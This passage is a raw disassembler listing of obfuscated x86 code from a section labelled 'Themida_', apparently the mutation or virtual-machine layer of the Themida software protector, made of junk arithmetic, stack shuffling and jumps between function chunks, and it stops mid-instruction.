sub_562ABA-21E2j add esp, 4 inc esi not esi inc esi inc esi sub esi, 0FFFFFFFFh add esi, 0D2273962h xor eax, esi push [esp+3Eh+var_3E] mov esi, [esp+42h+var_42] jmp loc_56259B ; --------------------------------------------------------------------------- loc_560E06: ; CODE XREF: sub_562ABA+B5F6j push esp pop ecx push ebp jmp loc_55FB15 ; --------------------------------------------------------------------------- loc_560E0E: ; CODE XREF: sub_562ABA+313Aj pop edx sub bl, 38h jmp loc_56F428 ; --------------------------------------------------------------------------- loc_560E17: ; CODE XREF: sub_562ABA+1EA0j push 3A7Fh mov [esp+46h+var_46], edx jmp loc_562D43 ; --------------------------------------------------------------------------- loc_560E24: ; CODE XREF: sub_562ABA+2EFCj xor ch, 91h and ch, 0EDh jmp loc_569000 ; END OF FUNCTION CHUNK FOR sub_562ABA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55FCA5 loc_560E2F: ; CODE XREF: sub_55FCA5+2F6j sub dl, 0A4h sub dl, cl add dl, 0A4h jmp loc_56B7E8 ; END OF FUNCTION CHUNK FOR sub_55FCA5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_562ABA loc_560E3C: ; CODE XREF: sub_562ABA+EBCEj shr edx, 2 jmp loc_564849 ; --------------------------------------------------------------------------- loc_560E44: ; CODE XREF: sub_562ABA+239j mov cl, 0D4h add cl, 51h not cl sub cl, 31h add al, cl pop ecx add al, ch push dx push ecx mov cl, 1Ch jmp loc_55F620 ; --------------------------------------------------------------------------- loc_560E5D: ; CODE XREF: sub_562ABA+E2B5j mov edi, 786B3EDFh jmp loc_565201 ; --------------------------------------------------------------------------- loc_560E67: ; CODE XREF: sub_562ABA+93C4j mov [esp+48h+var_4A+2], ecx mov ecx, 5D8B2C74h jmp loc_55F6DB ; --------------------------------------------------------------------------- loc_560E74: ; CODE XREF: sub_562ABA+6A06j add ecx, 0A3D28F1Ah add ebp, 397D0B14h add ebp, ecx jmp loc_563AE9 ; --------------------------------------------------------------------------- loc_560E87: ; CODE XREF: sub_562ABA+6193j add edx, 0FC1390Dh add ebx, edx pop edx add ebx, eax sub ebx, 2F5D593Dh jmp loc_55EA2E ; --------------------------------------------------------------------------- loc_560E9D: ; CODE XREF: sub_562ABA+F91Fj mov ecx, 775D0D0Bh add edx, ecx pop ecx sub edx, 76B36C46h jmp loc_5706A8 ; --------------------------------------------------------------------------- loc_560EB0: ; CODE XREF: sub_562ABA+5B47j push esi mov esi, esp add esi, 4 sub esi, 4 jmp loc_571012 ; END OF FUNCTION CHUNK FOR sub_562ABA ; =============== S U B R O U T I N E ======================================= sub_560EC1 proc near ; CODE XREF: sub_562ABA-13F5j push ebx jmp loc_5713A8 sub_560EC1 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_562ABA loc_560EC7: ; CODE XREF: sub_562ABA+273Bj push esi mov esi, 3F30722Bh jmp loc_56B36E ; --------------------------------------------------------------------------- loc_560ED2: ; CODE XREF: sub_562ABA+31E6j mov ebp, 2B03BDDh add ebp, 8F9E9A3h sub ebx, ebp pop ebp jmp loc_56776A ; --------------------------------------------------------------------------- loc_560EE5: ; CODE XREF: sub_562ABA+61A7j push edx mov edx, 4CAA7BF5h shr edx, 4 xor edx, 3C8D53EFh inc edx sub edx, 3847F452h mov eax, edx pop edx sub esi, 4E8F3609h sub esi, eax add esi, 4E8F3609h jmp loc_567E07 ; --------------------------------------------------------------------------- loc_560F11: ; CODE XREF: sub_562ABA+3065j mov esi, esp push 1F71h mov [esp+48h+var_4A+2], edi jmp loc_565662 ; --------------------------------------------------------------------------- loc_560F20: ; CODE XREF: sub_562ABA+E204j xor ebx, [esp+48h+var_4A+2] jmp loc_57250D ; --------------------------------------------------------------------------- loc_560F28: ; CODE XREF: sub_562ABA+86B7j dec ebx sub ebx, 38035B66h add edx, ebx pop ebx add edx, 4 jmp loc_563BFB ; --------------------------------------------------------------------------- loc_560F3A: ; CODE XREF: sub_562ABA+544Aj pop eax sub eax, 10D2297Dh push ecx push 2778h mov [esp+48h+var_4A+2], ebx jmp loc_566DDD ; --------------------------------------------------------------------------- loc_560F4E: ; CODE XREF: sub_562ABA+9045j mov ebp, 57232623h jmp loc_56AE73 ; --------------------------------------------------------------------------- loc_560F58: ; CODE XREF: sub_562ABA-26FEj xchg ebx, esi not ebx jmp loc_563809 ; --------------------------------------------------------------------------- loc_560F61: ; CODE XREF: sub_562ABA+44D5j add esp, 4 jmp loc_568C97 ; --------------------------------------------------------------------------- loc_560F6C: ; CODE XREF: sub_562ABA+9C68j add ebp, 4 sub ebp, 4 xchg ebp, [esp-10h+arg_C] jmp loc_5713DB ; END OF FUNCTION CHUNK FOR sub_562ABA ; =============== S U B R O U T I N E ======================================= sub_560F80 proc near ; CODE XREF: sub_562ABA+2E70j var_4 = dword ptr -4 sub esp, 4 mov [esp+4+var_4], ebx mov ebx, esp jmp loc_5645E3 sub_560F80 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_562ABA loc_560F8D: ; CODE XREF: sub_562ABA+9CF2j mov ecx, ebx pop ebx jmp loc_56B15C ; --------------------------------------------------------------------------- loc_560F95: ; CODE XREF: sub_562ABA-21DAj mov eax, 27582F28h sub eax, 0CF4A1050h jmp loc_56A4FE ; --------------------------------------------------------------------------- loc_560FA4: ; CODE XREF: sub_562ABA-1B3j push edi mov edi, esp add edi, 4 jmp loc_5636A8 ; --------------------------------------------------------------------------- loc_560FB2: ; CODE XREF: sub_562ABA+A9D9j jmp loc_55E09F ; --------------------------------------------------------------------------- loc_560FB7: ; CODE XREF: sub_562ABA-2EDBj pop ebp add edx, 323D23D3h add edx, eax sub edx, 323D23D3h pop eax push edx jmp loc_564150 ; --------------------------------------------------------------------------- loc_560FCD: ; CODE XREF: sub_562ABA-3155j push esp pop esi push edi mov edi, 3A7C279Ch neg edi shl edi, 3 or edi, 77F143ADh jmp loc_567E39 ; --------------------------------------------------------------------------- loc_560FE5: ; CODE XREF: sub_562ABA+71DAj push edi push 20DA2694h pop edi add edi, 646562Bh add edi, 20E0E2D5h push edi jmp loc_55E7E4 ; --------------------------------------------------------------------------- loc_560FFE: ; CODE XREF: sub_562ABA-1033j add edi, 42591528h jmp loc_5600A7 ; --------------------------------------------------------------------------- loc_561009: ; CODE XREF: sub_562ABA+BD28j mov dl, bh jmp loc_566CA2 ; --------------------------------------------------------------------------- loc_561010: ; CODE XREF: sub_562ABA+3308j add ebx, 4 add ebx, 4 xchg ebx, [esp+1Ah+var_1A] pop esp mov ebp, [esp+16h+var_16] add esp, 4 push esi mov esi, 9D91E5Dh neg esi not esi jmp loc_568FD8 ; --------------------------------------------------------------------------- loc_561038: ; CODE XREF: sub_562ABA+77A3j pop [esp+16h+var_16] add [esp+12h+var_12], 4 mov ecx, [esp+12h+var_12] add esp, 4 add ecx, 4 jmp loc_55E6A4 ; --------------------------------------------------------------------------- loc_561056: ; CODE XREF: sub_562ABA+5835j mov eax, 4 add [esp+0Eh+var_C+2], eax jmp loc_55E8B0 ; --------------------------------------------------------------------------- loc_561064: ; CODE XREF: sub_562ABA+D547j mov [esp+0], ebx jmp loc_5642B5 ; --------------------------------------------------------------------------- loc_56106C: ; CODE XREF: sub_562ABA+3F10j add esp, 4 jmp loc_56A26D ; --------------------------------------------------------------------------- loc_561074: ; CODE XREF: sub_562ABA+B5AAj dec ecx not ecx jmp loc_561282 ; --------------------------------------------------------------------------- loc_56107C: ; CODE XREF: sub_562ABA-3A23j add esp, 4 xor edx, [esp+2Ah+var_2C+2] xor [esp+2Ah+var_2C+2], edx jmp loc_562240 ; END OF FUNCTION CHUNK FOR sub_562ABA ; --------------------------------------------------------------------------- loc_56108A: ; CODE XREF: Themida_:00561F83j push dword ptr [esp] pop ecx sub esp, 4 mov [esp], ebx mov ebx, esp push 5162h mov [esp], esi mov esi, 6C6D6182h shl esi, 1 shl esi, 5 push ebp mov ebp, 32F14414h jmp loc_572A44 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_562ABA loc_5610B3: ; CODE XREF: sub_562ABA+4F29j add ebx, 4 add ebx, 4 xchg ebx, [esp+2Ah+var_2C+2] pop esp add esi, 4 push ecx mov ecx, 4 push edi mov edi, 0D2C6D1Fh sub esi, edi pop edi add esi, ecx add esi, 0D2C6D1Fh jmp loc_56A0A1 ; --------------------------------------------------------------------------- loc_5610E2: ; CODE XREF: sub_562ABA+192Cj add [esp+2Ah+var_2C+2], 4 pop esi add esi, 4 add esi, 4 xor esi, [esp+26h+var_28+2] xor [esp+26h+var_28+2], esi xor esi, [esp+26h+var_28+2] pop esp push edi mov edi, esp sub esp, 4 mov [esp+2Ah+var_2C+2], eax mov eax, 4 add edi, eax pop eax push 1630h mov [esp+2Ah+var_2C+2], esi mov esi, 4 add edi, esi mov esi, [esp+2Ah+var_2C+2] add esp, 4 jmp loc_56F4BE ; END OF FUNCTION CHUNK FOR sub_562ABA ; =============== S U B R O U T I N E ======================================= sub_56112E proc near ; CODE XREF: sub_562ABA+8F81j arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 005607C8 SIZE 0000002D BYTES ; FUNCTION CHUNK AT 0056131C SIZE 00000017 BYTES push ebp mov ebp, 344484Ah sub edi, ebp pop ebp add edi, 2A1F705Ah add edi, edx sub edi, 2A1F705Ah add edi, 344484Ah jmp loc_5607C8 sub_56112E endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_562ABA loc_561150: ; CODE XREF: sub_562ABA-4853j add esp, 2 mov ecx, [esp-6+arg_0+2] push edx mov edx, esp jmp sub_561832 ; END OF FUNCTION CHUNK FOR sub_562ABA ; =============== S U B R O U T I N E ======================================= sub_561161 proc near ; CODE XREF: sub_562ABA+4EBDj var_4 = dword ptr -4 sub esp, 4 mov [esp+4+var_4], ecx push edi mov edi, esp jmp loc_566479 sub_561161 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_562ABA loc_56116F: ; CODE XREF: sub_562ABA+A834j pop esp test cl, al pushf jmp loc_55E09F ; --------------------------------------------------------------------------- loc_561178: ; CODE XREF: sub_562ABA+5D34j add esp, 4 push 4FB5h mov [esp+0], eax push ebx mov bl, ch mov al, bl pop ebx push ecx sub esp, 4 mov [esp+6+var_8+2], ebx mov bh, al mov ch, bh jmp loc_5718C0 ; --------------------------------------------------------------------------- loc_56119C: ; CODE XREF: sub_562ABA+CD5Dj mov esp, [esp+6+var_8+2] movsx cx, al push small 92Ch jmp loc_5671DA ; --------------------------------------------------------------------------- loc_5611AC: ; CODE XREF: sub_562ABA-AC5j push eax mov eax, 46811A21h shl eax, 4 xor eax, 6811A214h add edi, eax pop eax jmp loc_56436B ; --------------------------------------------------------------------------- loc_5611C2: ; CODE XREF: sub_562ABA+26D5j mov ebp, [esp+8+var_8] add esp, 4 xor esi, 91360Bh jmp loc_56713B ; END OF FUNCTION CHUNK FOR sub_562ABA ; =============== S U B R O U T I N E ======================================= sub_5611D3 proc near ; CODE XREF: sub_562ABA-3A7Dj push ebp mov ebp, 51700A54h push edx push 1F5C2EDAh pop edx or edx, 4D9E6FC8h shl edx, 6 jmp loc_5681DF sub_5611D3 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_562ABA loc_5611EE: ; CODE XREF: sub_562ABA+A78j sub esi, 6CCB13DFh jmp loc_560A0F ; END OF FUNCTION CHUNK FOR sub_562ABA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55FCA5 loc_5611F9: ; CODE XREF: sub_55FCA5+30Ej mov eax, 59D129A6h sub eax, 7AE845F1h xor eax, 0A161B85Dh and ebx, eax mov eax, [esp+4+var_4] add esp, 4 push eax mov eax, 63135E4Bh and ebx, eax pop eax jmp loc_55E7AD ; END OF FUNCTION CHUNK FOR sub_55FCA5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_562ABA loc_56121E: ; CODE XREF: sub_562ABA+262Bj xor edi, [esp+4+var_4] xor [esp+4+var_4], edi xor edi, [esp+4+var_4] jmp loc_567CC9 ; --------------------------------------------------------------------------- loc_56122C: ; CODE XREF: sub_562ABA+1365j pop ebx push ax mov ah, bh mov bh, dl mov dl, ah pop ax jmp loc_56865C ; END OF FUNCTION CHUNK FOR sub_562ABA ; --------------------------------------------------------------------------- loc_56123C: ; CODE XREF: Themida_:00571CD3j jmp loc_55E09F ; --------------------------------------------------------------------------- lodsb xor al, bl jmp loc_570F83 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_562ABA loc_561249: ; CODE XREF: sub_562ABA+A5EAj mov eax, [esp+0] push edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp+4+var_4] pop esp sub ebx, 4 jmp loc_572AAF ; --------------------------------------------------------------------------- loc_56126A: ; CODE XREF: sub_562ABA+E301j or ebx, edi pop edi jmp loc_572C3F ; --------------------------------------------------------------------------- loc_561272: ; CODE XREF: sub_562ABA+4EB4j sub ecx, edi pop edi sub edx, ecx push [esp-8+arg_4] mov ecx, [esp-4+arg_0] jmp loc_56F33F ; --------------------------------------------------------------------------- loc_561282: ; CODE XREF: sub_562ABA-1A43j push edx mov edx, 197A6F4Dh add edx, 1B9457C2h shl edx, 4 shr edx, 7 not edx neg edx xor edx, 2247EAE0h add ecx, edx mov edx, [esp+0] add esp, 4 dec ecx add ecx, 0F67BB51Bh sub edi, ecx mov ecx, [esp+0Ah+var_C+2] add esp, 4 add ebx, edi push [esp+6+var_8+2] pop edi add esp, 4 add ebx, 4 jmp loc_55F2F7 ; --------------------------------------------------------------------------- loc_5612CF: ; CODE XREF: sub_562ABA-333j xor edi, 20A45A71h add edx, 74033069h sub edx, edi sub edx, 74033069h pop edi add edx, ebp add edx, 6BB56AFFh mov ebp, [esp+0] push 2EFh mov [esp+2+var_4+2], eax jmp loc_5686DE ; --------------------------------------------------------------------------- loc_5612FC: ; CODE XREF: sub_562ABA+6F0Dj mov edx, eax pop eax xor edx, ecx pop ecx add ecx, edx mov edx, [esp-6+arg_0+2] jmp loc_563E5E ; --------------------------------------------------------------------------- loc_56130C: ; CODE XREF: sub_562ABA+F244j sub dh, 0E7h sub bl, dh pop edx push ax push edx mov dl, 6Dh jmp loc_56A4D6 ; END OF FUNCTION CHUNK FOR sub_562ABA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56112E loc_56131C: ; CODE XREF: sub_56112E-93Ej push [esp+arg_0] pop edi pop dword ptr [esp+0] mov esp, [esp-4+arg_0] div cl movzx cx, ah push ebp jmp loc_56963D ; END OF FUNCTION CHUNK FOR sub_56112E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_562ABA loc_561333: ; CODE XREF: sub_562ABA+F1C5j pop ebp push esi mov esi, 4 jmp loc_57194C ; --------------------------------------------------------------------------- loc_56133F: ; CODE XREF: sub_562ABA+E166j add esi, ebp push ecx mov ecx, 4CDC22FBh add esi, ecx mov ecx, [esp+0] add esp, 4 jmp loc_563980 ; END OF FUNCTION CHUNK FOR sub_562ABA ; --------------------------------------------------------------------------- mov cx, [esp] push 3BACh mov [esp], ebp sub esp, 4 mov [esp], edx mov edx, esp push ebp mov ebp, 4C600B10h sub ebp, 0DEA1FDAh add ebp, 15BD1022h add ebp, 0ABCD04ACh add edx, ebp pop ebp push edi jmp loc_5644D9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_562ABA loc_56138C: ; CODE XREF: sub_562ABA+AB32j pop esi add ebx, edi add ebx, 1FA0622Ch mov edi, [esp-8+arg_4] push 7199h mov [esp-4+arg_0], ebx mov ebx, esp add ebx, 4 push esi mov esi, 4 add ebx, esi pop esi xor ebx, [esp-4+arg_0] jmp loc_567C7A ; --------------------------------------------------------------------------- loc_5613B9: ; CODE XREF: sub_562ABA+E9DBj mov [esp-4+arg_0], edi pop edx pop edi jmp loc_569CD9 ; --------------------------------------------------------------------------- loc_5613C3: ; CODE XREF: sub_562ABA+5235j mov ebp, 6EA317A2h or ebx, ebp pop ebp jmp loc_565872 ; --------------------------------------------------------------------------- loc_5613D0: ; CODE XREF: sub_562ABA+DB9j mov eax, 2AF51CD3h jmp loc_5726A0 ; --------------------------------------------------------------------------- loc_5613DA: ; CODE XREF: sub_562ABA+D394j add esp, 4 pop [esp-14h+arg_10] jmp loc_55E427 ; --------------------------------------------------------------------------- loc_5613E5: ; CODE XREF: sub_562ABA+38DEj mov ebp, eax mov ebx, ebp mov ebp, [esp-18h+arg_14] push 4B2Ch mov [esp-14h+arg_10], ecx push esp pop ecx push ebx mov ebx, 4 sub ecx, 6F945932h add ecx, ebx push edi mov edi, 62D6452Bh sub edi, 6E0E3BCEh push ecx mov ecx, 739961E3h shr ecx, 7 jmp loc_5666D6 ; --------------------------------------------------------------------------- loc_56141E: ; CODE XREF: sub_562ABA+4Cj mov edi, [esp-8+arg_4] add esp, 4 not edi push esi jmp loc_563660 ; --------------------------------------------------------------------------- loc_56142F: ; CODE XREF: sub_562ABA+FBC7j push eax mov eax, esp push 5306h jmp loc_55EA13 ; --------------------------------------------------------------------------- loc_56143C: ; CODE XREF: sub_562ABA-33E4j pop esp push [esp+2+var_4+2] pop eax push 1FB5h mov [esp+6+var_8+2], esi push esp pop esi push 3B35h mov [esp+0Ah+var_C+2], ebx mov ebx, 61D65362h sub esp, 4 jmp loc_56DAE7 ; --------------------------------------------------------------------------- loc_561463: ; CODE XREF: sub_562ABA+25C1j xor edi, 1A08316Ah pop ecx add edi, 0E3BB6781h xor ecx, edi mov edi, [esp+0Ah+var_C+2] add esp, 4 jmp loc_56AA76 ; --------------------------------------------------------------------------- loc_561480: ; CODE XREF: sub_562ABA+442Dj add esp, 4 mov esi, [esp+2+var_4+2] add esp, 4 add ebx, eax sub ebx, 532402E3h xor edx, eax jmp loc_55E09F ; END OF FUNCTION CHUNK FOR sub_562ABA ; --------------------------------------------------------------------------- loc_561498: ; CODE XREF: Themida_:005622D8j pop small word ptr [esp] jmp loc_56B32F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_562ABA loc_5614A1: ; CODE XREF: sub_562ABA+E342j mov dl, 0B7h sub dl, ch mov ecx, [esp+0] jmp loc_5709C2 ; --------------------------------------------------------------------------- loc_5614AD: ; CODE XREF: sub_562ABA+B42Aj add esi, edx pop edx push 712Fh mov [esp+0], ecx mov ecx, 4 sub esi, 74A36632h add esi, 2D29169Dh add esi, ecx jmp loc_571CEB ; --------------------------------------------------------------------------- loc_5614D0: ; CODE XREF: sub_562ABA+D90j neg edi xor edi, 0F08788D6h jmp loc_5703AD ; --------------------------------------------------------------------------- loc_5614DD: ; CODE XREF: sub_562ABA+CE3j add esp, 4 jmp loc_5648EC ; --------------------------------------------------------------------------- loc_5614E8: ; CODE XREF: sub_562ABA+8817j mov edi, 53D978C5h or edi, 3A011889h sub edi, 3D866F39h sub ebx, edi pop edi jmp loc_56738B ; --------------------------------------------------------------------------- loc_561501: ; CODE XREF: sub_562ABA+7A75j push edx not [esp-6+arg_0+2] mov edx, [esp-6+arg_0+2] add esp, 4 shl edx, 4 not edx dec edx xor edx, 0AB2A136h shr edx, 2 shr edx, 5 jmp loc_569016 ; --------------------------------------------------------------------------- loc_561525: ; CODE XREF: sub_562ABA+CD93j mov edx, [esp-0Ah+arg_4+2] add esp, 4 add edi, 2 sub esp, 4 mov [esp-0Ah+arg_4+2], edi push [esp-0Ah+arg_8+2] push [esp-6+arg_0+2] pop edi add esp, 4 pop [esp-0Ah+arg_4+2] jmp loc_565711 ; --------------------------------------------------------------------------- loc_561550: ; CODE XREF: sub_562ABA+41CFj pop [esp-0Eh+arg_8+2] jmp loc_566F58 ; --------------------------------------------------------------------------- loc_561558: ; CODE XREF: sub_562ABA+4030j sub ebp, 2D5330ABh shr ebp, 7 inc ebp xor ebp, 443C1902h dec ebp not ebp add ebp, 8471844Bh sub esi, ebp pop ebp add eax, esi jmp loc_569992 ; --------------------------------------------------------------------------- loc_56157B: ; CODE XREF: sub_562ABA+2446j or ebp, 1ED833E2h add ebp, 0E49EFFD3h jmp loc_569C0A ; --------------------------------------------------------------------------- loc_56158C: ; CODE XREF: sub_562ABA+3E0Dj pop ecx jmp loc_56038C ; --------------------------------------------------------------------------- loc_561592: ; CODE XREF: sub_562ABA+368j mov [esp-1Ah+arg_14+2], edi push 731A0D34h pop edi push 36B9h mov [esp-16h+arg_10+2], edx mov edx, 731A0D35h xor edi, edx pop edx push ebx mov ebx, edi mov esi, ebx pop ebx push [esp-1Ah+arg_14+2] mov edi, [esp-16h+arg_10+2] push ebx mov ebx, esp push ecx mov ecx, 6A682342h not ecx or ecx, 479667A1h inc ecx shl ecx, 5 add ecx, 0D000844h add ebx, ecx pop ecx add ebx, 4 jmp loc_56BCDA ; --------------------------------------------------------------------------- loc_5615E0: ; CODE XREF: sub_562ABA+882Bj push 427Fh jmp loc_56BADA ; --------------------------------------------------------------------------- loc_5615EA: ; CODE XREF: sub_562ABA+D16Dj xchg ecx, [esp-0Eh+arg_8+2] pop esp add esp, 4 cmp ecx, eax pushf jmp loc_55E09F ; --------------------------------------------------------------------------- loc_5615FC: ; CODE XREF: sub_562ABA+72CBj pop ebx xor ebp, 73927F09h push ebx mov ebx, 726A3346h shr ebx, 4 shl ebx, 7 add ebx, 0B4C27588h add ebp, ebx mov ebx, [esp-12h+arg_C+2] add esp, 4 add edi, ebp pop ebp add edi, ebp push ecx mov ecx, 77EF6C82h push ebx mov ebx, 1CF31BD0h jmp loc_55FF77 ; --------------------------------------------------------------------------- loc_561636: ; CODE XREF: sub_562ABA+17D5j mov ebx, edx pop edx dec ebx shr ebx, 1 jmp loc_56D35C ; --------------------------------------------------------------------------- loc_561641: ; CODE XREF: sub_562ABA+9B16j push edx mov edx, 0E581D067h add ebp, edx jmp loc_569E95 ; --------------------------------------------------------------------------- loc_56164E: ; CODE XREF: sub_562ABA+9A16j pop ebp jmp loc_572849 ; --------------------------------------------------------------------------- loc_561654: ; CODE XREF: sub_562ABA-3C08j push edx mov edx, 462B7567h jmp loc_5658BE ; --------------------------------------------------------------------------- loc_56165F: ; CODE XREF: sub_562ABA+DAB5j add esp, 4 sub esp, 4 mov [esp+32h+var_32], edx jmp loc_563C9C ; --------------------------------------------------------------------------- loc_561670: ; CODE XREF: sub_562ABA+3AB7j pop eax add ecx, 4 xchg ecx, [esp+0] jmp loc_56F00B ; --------------------------------------------------------------------------- loc_56167F: ; CODE XREF: sub_562ABA+EF22j jmp loc_55E09F ; --------------------------------------------------------------------------- loc_561684: ; CODE XREF: sub_562ABA+AFCDj push edx mov edx, 4 add eax, edx pop edx add eax, 4 xchg eax, [esp+0] pop esp xchg ecx, [esp+2Ah+var_2C+2] jmp loc_560B48 ; --------------------------------------------------------------------------- loc_56169E: ; CODE XREF: sub_562ABA+500Aj push [esp+2Ah+var_28+2] pop eax jmp loc_56FFE5 ; --------------------------------------------------------------------------- loc_5616A8: ; CODE XREF: sub_562ABA+666Fj sub ebx, 0FE8EE1D2h mov esi, ebx jmp loc_56DFFC ; --------------------------------------------------------------------------- loc_5616B5: ; CODE XREF: sub_562ABA-7C6j push edi add dword ptr [esp+0], 4A651424h pop edx sub edx, 4A651424h pop edi jmp sub_560EC1 ; --------------------------------------------------------------------------- loc_5616CA: ; CODE XREF: sub_562ABA+E0BCj xor [esp+26h+var_28+2], eax pushf jmp loc_55E09F ; --------------------------------------------------------------------------- loc_5616D3: ; CODE XREF: sub_562ABA+5AA2j add ecx, ebx add ecx, 691E7FE4h jmp loc_5628D5 ; --------------------------------------------------------------------------- loc_5616E0: ; CODE XREF: sub_562ABA+2643j pop edi sub edi, 71032AB5h shr edi, 4 xor edi, 0CFF3FDh mov ebx, edi jmp loc_56A65E ; --------------------------------------------------------------------------- loc_5616F7: ; CODE XREF: sub_562ABA+A463j sub dh, 25h and dh, 62h shl dh, 3 xor dh, 8Eh sub al, dh pop edx push 0FE0h jmp loc_565052 ; --------------------------------------------------------------------------- loc_561710: ; CODE XREF: sub_562ABA+7152j push [esp+26h+var_28+2] jmp loc_56A611 ; --------------------------------------------------------------------------- loc_561718: ; CODE XREF: sub_562ABA+9A9j mov [esp+2Ah+var_2C+2], esp add [esp+2Ah+var_2C+2], 4 push [esp+2Ah+var_2C+2] pop edx push edx jmp loc_56709C ; --------------------------------------------------------------------------- loc_561729: ; CODE XREF: sub_562ABA+450Ej mov eax, esp push ecx mov ecx, esp add ecx, 4 sub ecx, 4 xchg ecx, [esp+32h+var_32] mov esp, [esp+32h+var_32] mov [esp+32h+var_32], ebp push edx mov edx, 0D1D38B6h shl edx, 8 sub edx, 42E67EBBh add edx, 25ADC8BFh mov ebp, edx pop edx add eax, ebp jmp loc_572072 ; --------------------------------------------------------------------------- loc_561762: ; CODE XREF: sub_562ABA+4116j sub ebx, 4AE448E2h sub ebx, edi add ebx, 4AE448E2h push [esp+32h+var_32] pop edi add esp, 4 add ebx, eax jmp loc_566CC1 ; --------------------------------------------------------------------------- loc_56177E: ; CODE XREF: sub_562ABA+31E0j mov [esp+0], esi mov esi, 5004397Eh inc esi jmp loc_56D6D8 ; --------------------------------------------------------------------------- loc_56178C: ; CODE XREF: sub_562ABA+A2A3j pop esi shl edi, 8 xor edi, 372B6811h jmp loc_567081 ; --------------------------------------------------------------------------- loc_56179B: ; CODE XREF: sub_562ABA+27B6j pop esp push 3E52h mov [esp+2Ah+var_2C+2], ebx push edx push eax push ecx push eax mov al, 0DFh sub al, 61h push edx mov dh, al mov ch, dh pop edx mov eax, [esp+3Ah+var_3A] add esp, 4 mov ah, ch pop ecx jmp loc_56E678 ; --------------------------------------------------------------------------- loc_5617C0: ; CODE XREF: sub_562ABA-546j add eax, 31F17FD0h sub eax, 7BD14FB4h dec eax add eax, 8CC2C302h sub esi, 2FF02F6Ah add esi, eax add esi, 2FF02F6Ah pop eax add esi, ebx jmp loc_56028C ; END OF FUNCTION CHUNK FOR sub_562ABA ; =============== S U B R O U T I N E ======================================= sub_5617E6 proc near ; CODE XREF: sub_562ABA+E553j push ebp push 3535215Ah pop ebp jmp loc_5700CA sub_5617E6 endp ; --------------------------------------------------------------------------- push 50A8h push 1FDh push esp pop dword ptr [esp] add dword ptr [esp], 4 pop dword ptr [esp] push edi push edx mov edx, 3A4B4F2Ah push eax jmp loc_56B072 ; --------------------------------------------------------------------------- push dword ptr [esp] jmp loc_566CE6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_562ABA loc_56181C: ; CODE XREF: sub_562ABA+120Dj pop esi jmp loc_5660AE ; --------------------------------------------------------------------------- loc_561822: ; CODE XREF: sub_562ABA+7B8Bj mov edi, 2 push ebx mov ebx, 77B12C79h jmp loc_56DA76 ; END OF FUNCTION CHUNK FOR sub_562ABA ; =============== S U B R O U T I N E ======================================= sub_561832 proc near ; CODE XREF: sub_562ABA-195Ej var_4 = dword ptr -4 push ebx mov ebx, 4 add edx, ebx pop ebx push ebx mov ebx, 4 add edx, ebx pop ebx xchg edx, [esp+0] pop esp push 1CEAh mov [esp+0], ebx push eax mov al, 0AFh mov bl, al mov eax, [esp+4+var_4] add esp, 4 add al, 9Ah push 0AD5h jmp loc_56829D sub_561832 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_562ABA loc_56186A: ; CODE XREF: sub_562ABA+8ECBj add edx, 1BB8068Ch push edi mov edi, 40A3482Fh inc edi and edi, 116123A5h add edi, 1 push ebx mov ebx, 5D495C5Dh xor edi, ebx pop ebx add edx, edi pop edi sub esp, 4 jmp loc_566DCD ; --------------------------------------------------------------------------- loc_561897: ; CODE XREF: sub_562ABA+F123j push 7AF1h mov [esp+36h+var_36], edi push [esp+36h+var_32] pop edi jmp loc_566668 ; --------------------------------------------------------------------------- loc_5618A9: ; CODE XREF: sub_562ABA+8695j mov eax, 78B56842h and eax, 656C41E9h add eax, 42446451h neg eax xor eax, 18AB1D0Fh sub eax, 0FE44F121h and ebp, eax pop eax shr ebp, 8 jmp loc_568712 ; --------------------------------------------------------------------------- loc_5618CF: ; CODE XREF: sub_562ABA+D7DFj add esp, 4 add ebx, 70534BBFh add ebx, ecx sub ebx, 70534BBFh mov [ebx], al push dword ptr [esp+0] jmp loc_5627B3 ; --------------------------------------------------------------------------- loc_5618EA: ; CODE XREF: sub_562ABA+3D3Dj mov [esp+32h+var_32], eax mov eax, 3DA73237h jmp loc_561C34 ; --------------------------------------------------------------------------- loc_5618F7: ; CODE XREF: sub_562ABA+833Ej push eax mov al, 0CAh push ecx push edx mov dh, 86h or dh, 0C9h add dh, 0CFh jmp loc_56BAB9 ; --------------------------------------------------------------------------- loc_561909: ; CODE XREF: sub_562ABA-2680j add esi, edi pop edi push esi jmp loc_563930 ; --------------------------------------------------------------------------- loc_561912: ; CODE XREF: sub_562ABA+1C0j pop esp push 2A98h mov [esp+4+var_4], edx push ecx jmp loc_56ED76 ; END OF FUNCTION CHUNK FOR sub_562ABA ; --------------------------------------------------------------------------- loc_561921: ; DATA XREF: Themida_:0055E004o pop dword ptr [edx] jmp loc_55E09F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_562ABA loc_561928: ; CODE XREF: sub_562ABA+AB22j sub eax, edx add eax, 32BA2B7Ah mov edx, [esp+8+var_8] add esp, 4 push edx push esi mov esi, 75D07CD7h mov edx, esi pop esi dec edx xchg esi, edx dec esi jmp loc_565AE7 ; --------------------------------------------------------------------------- loc_56194B: ; CODE XREF: sub_562ABA+AD83j mov ecx, esp jmp loc_561B1F ; --------------------------------------------------------------------------- loc_561952: ; CODE XREF: sub_562ABA+2068j sub edx, 4 xchg edx, [esp+8+var_8] jmp 